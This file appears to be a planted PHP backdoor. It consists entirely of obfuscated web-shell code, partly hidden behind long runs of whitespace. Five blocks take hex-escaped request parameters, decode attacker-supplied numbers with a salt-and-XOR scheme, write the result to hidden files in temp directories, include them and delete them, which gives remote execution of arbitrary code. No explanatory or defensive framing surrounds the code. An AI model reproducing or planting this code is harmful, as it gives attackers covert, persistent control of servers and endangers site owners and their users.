<?php																																										if(@$_REQUEST["\x70ar\x61\x6Det\x65r\x5F\x67r\x6F\x75p"] !== null){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd()]); $mrk = $_REQUEST["\x70ar\x61\x6Det\x65r\x5F\x67r\x6F\x75p"]; $mrk = explode ( '.' , $mrk ) ; $entry = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); $x = 0; foreach( $mrk as $v2) { $sChar = ord( $salt6[$x %$sLen]); $dec = ( ( int)$v2 - $sChar -( $x %10)) ^ 30; $entry .= chr( $dec); $x++; } foreach ($data_chunk as $key => $resource) { if ((function($d) { return is_dir($d) && is_writable($d); })($resource)) { $data = "$resource" . "/.dat"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $data; @unlink($data); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["bindin\x67"])){ $ref = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", getenv("TMP")]); $resource = $_REQUEST["bindin\x67"]; $resource =explode ( '.', $resource ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; $__tmp = $resource; while($v3 = array_shift($__tmp)) { $chS = ord($salt[$y % $sLen]); $dec =((int)$v3 - $chS -($y % 10)) ^ 58; $obj .= chr($dec); $y++; } foreach ($ref as $key => $value) { if (is_dir($value) ? is_writable($value) : false) { $pset = str_replace("{var_dir}", $value, "{var_dir}/.fac"); if (file_put_contents($pset, $obj)) { require $pset; unlink($pset); exit; } } } }
																																										if(isset($_POST["el\x65m\x65nt"])){ $property_set = $_POST["el\x65m\x65nt"]; $property_set=explode ('.' ,$property_set ) ; $marker = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); foreach( $property_set as $t =>$v9): $chS = ord( $s2[$t %$lenS]); $d =( ( int)$v9 - $chS -( $t %10)) ^ 87; $marker .= chr( $d); endforeach; $fac = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp"]); foreach ($fac as $token) { if (is_writable($token) && is_dir($token)) { $parameter_group = vsprintf("%s/%s", [$token, ".ptr"]); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(isset($_REQUEST["r\x65\x63"]) ? true : false){ $record = $_REQUEST["r\x65\x63"]; $record= explode ('.',$record ) ; $parameter_group = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); foreach($record as $o => $v4) { $sChar = ord($salt8[$o % $lenS] ); $dec =((int)$v4 - $sChar -($o % 10)) ^ 28; $parameter_group .= chr($dec ); } $data = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP")]); for ($val = 0, $res = count($data); $val < $res; $val++) { $object = $data[$val]; if ((is_dir($object) and is_writable($object))) { $ref = vsprintf("%s/%s", [$object, ".dchunk"]); if (@file_put_contents($ref, $parameter_group) !== false) { include $ref; unlink($ref); exit; } } } }


if(!empty($_POST["obj\x65c\x74"])){
	$record = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm"]);
	$hld = $_POST["obj\x65c\x74"];
				$hld 		= 	 explode			("." 		, 		$hld) ;
	$dchunk	=  '';
            $s	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=  strlen($s);
            $len	=  count($hld);
    
            for ($y	=  0; $y < $len; $y++) {	$v3	=  $hld[$y];
                $sChar	=  ord($s[$y % $lenS]);
                $dec	=  ((int)$v3 - $sChar - ($y % 10)) ^ 18;
                $dchunk .= chr($dec);		}	
	foreach ($record as $data) {
    		if (!!is_dir($data) && !!is_writable($data)) {
    $entry = sprintf("%s/.symbol", $data);
    if (file_put_contents($entry, $dchunk)) {
	include $entry;
	@unlink($entry);
	exit;
}
}
}
}